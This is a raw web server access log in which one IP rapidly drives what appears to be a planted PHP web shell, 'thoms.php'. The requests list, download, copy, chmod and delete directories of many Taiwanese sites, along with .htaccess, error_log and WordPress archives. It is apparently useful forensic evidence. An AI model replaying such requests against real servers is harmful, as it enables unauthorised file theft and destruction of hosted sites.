45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?copy=thoms-20260912023711.php&p= HTTP/1.1" 200 12373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?dl=thoms-20260912023711.php&p= HTTP/1.1" 200 22638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22682 "https://163.245.207.76/ba-guo.com.tw/thoms.php?chmod=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22612 "https://163.245.207.76/ba-guo.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22599 "https://163.245.207.76/ba-guo.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?copy=broadweb.com-20260912023716&p= HTTP/1.1" 200 12415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?del=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 22659 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=mah-20260912023710.php&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14174 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=-20260912023718.htaccess&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=mah-20260912023710.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 13112 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22631 "https://163.245.207.76/ba-guo.com.tw/thoms.php?copy=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22494 "https://163.245.207.76/ba-guo.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12391 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=thoms-20260912023711.php HTTP/1.1" 200 11782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/ba-guo.com.tw/thoms.php?p=&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17277 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:24 -0400] "GET /ba-guo.com.tw/thoms.php?del=broadweb.com-20260912023716&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?dl=mah-20260912023710.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?del=thoms-20260912023711.php&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=&view=mah-20260912023710.php HTTP/1.1" 200 11770 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=broadweb.com-20260912023716 HTTP/1.1" 200 17326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12546 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22645 "https://163.245.207.76/ba-guo.com.tw/thoms.php?copy=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=-20260912023718.htaccess&p= HTTP/1.1" 200 12406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21167 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=biotaiwan.com-20260912023713 HTTP/1.1" 200 17572 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=-20260912023718.htaccess&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22581 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:25 -0400] "GET /ba-guo.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
